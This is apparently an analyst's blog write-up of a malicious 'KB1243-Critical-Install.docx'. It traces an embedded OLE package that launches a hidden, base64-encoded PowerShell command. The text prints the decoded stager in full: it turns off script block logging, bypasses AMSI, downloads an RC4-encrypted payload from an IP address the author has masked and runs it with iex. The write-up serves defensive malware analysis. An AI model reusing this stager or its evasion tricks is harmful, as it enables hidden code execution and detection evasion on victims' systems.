First time for everything

On Tuesday, September 12, 2017 4PM CST, my manager gave me a document called KB1243-Critical-Install.docx to analyze. This document is a self executing zip file using a docx type, with an embedded OLE binary object that executes, contacts an external site, and downloads a payload. I ended my analysis about 11AM CST 9-13-2017. Below is a more detailed explanation of how I came to these conclusions.

Detailed Analysis

Initially, I took the file straight into a Kali VM that I use for checking potentially malicious items. Trying to just open the docx file gave me an archiver error due to the file type. This led me to open a terminal and do an unzip on the file using the following unzip KB1243-Critical-Install.docx. Unzipping gave me 3 directories and an XML file:

The folder docProps gave me 2 xml files, the directory _rels was empty, but the word directory was where the real fun began. Inside this directory I saw the following:

The media folder contained 3 images and an emf file, with one of the images being the company logo and the other being an image of a security warning screen:

The real finding was in the embeddings folder which had one item in named oleObect1.bin which raised my suspicions even more.

The next step was to see what was contained inside this binary file. A little research turned up a piece of free software called oledump. It is a python program, “oledump.py is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.” Perfect. Once I downloaded oledump onto my Kali VM I ran it against the full docx file. The results were:

The A2 stream would be what I was looking for, as the A1 was a header and A3 was just info on the object itself. The Size and the O marking (for object) are the tip off. This prompted me ot do the following command:

So it would not give me the information using oledump that I was looking for, but I knew I was onto something. I decided to go old school and just cat the oldObject1.bin file to see if I would get anything of interest.

There are some interesting items in there. The padded opening states that it is an Ole10Native object. Then there was this line:

OLE PackagPackage?9?q@?KB1243-Install.batC:\Users\brikut01\Desktop\KB1243-Install.bat8C:\Users\brikut01\AppData\Local\Temp\KB1243-Install.batstart /b powershell -noP -sta -w 1 –enc

So this file first off is going to run a Bat file, that was at one point on a user named brikut01’s machine (username is not in our AD therefore is something on the creators side) . This also starts powershell from a command line with NoProfile (-noP), a single thread (-sta), the –w 1 hides the session and the –enc which accepts base-64 encoded string version of a command. The Encoding makes sense considering the long obfuscate string following ends in == which is a tell tale sign of base64 encoding. The last line deletes the .bat file itself thereby trying to leave no trace.

Thankfully there are tools to decode base64 encoding. Using one of these tools it revealed the following:

$grouppolicysettings = [ref].assembly.gettype(‘system.management.automation.utils’).”getfie`ld”(‘cachedgrouppolicysettings’, ‘n’+’onpublic,static’).getvalue($null);$grouppolicysettings[‘scriptb’+’locklogging’][‘enablescriptb’+’locklogging’] = 0;$grouppolicysettings[‘scriptb’+’locklogging’][‘enablescriptblockinvocationlogging’] = 0;[ref].assembly.gettype(‘system.management.automation.amsiutils’)|?{$_}|%{$_.getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)};[system.net.servicepointmanager]::expect100continue=0;$wc=new-object system.net.webclient;$u=’mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; rv:11.0) like gecko’;$wc.headers.add(‘user-agent’,$u);$wc.proxy=[system.net.webrequest]::defaultwebproxy;$wc.proxy.credentials = [system.net.credentialcache]::defaultnetworkcredentials;$k=[system.text.encoding]::ascii.getbytes(‘=z#,ecdv]-9oe<;d*!bi8r%k(owr65au’);$r={$d,$k=$args;$s=0..255;0..255|%{$j=($j+$s[$_]+$k[$_%$k.count])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};$d|%{$i=($i+1)%256;$h=($h+$s[$i])%256;$s[$i],$s[$h]=$s[$h],$s[$i];$_-bxor$s[($s[$i]+$s[$h])%256]}};$wc.headers.add(“cookie”,”session=2xrm2yvyojcwdr0lzhrwmlxvp44=”);$ser=’http://xxx.xxx.xxx.xxx:80′;$t=’/login/process.php’;$data=$wc.downloaddata($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[char[]](& $r $data ($iv+$k))|iex<br /><br />

This boils down to setting a Group Policy to stop logging, what is an AMSI (Assembly Management System) bypass, grabbing the default web proxy credentials, setting a cookie, and putting it all together to send to an IP address via http so it can be tracked and download something from the IP address. I did not download the payload to see what it was. The final 3 letters, iex invokes the expression.

I checked on the IP address and found it pointed to VPS. I was later given 2 more files to look at which used the same code, but different IP addresses to the same VPS.

Update: Trying to get the file this was supposed to download came back with a 500 error from the server.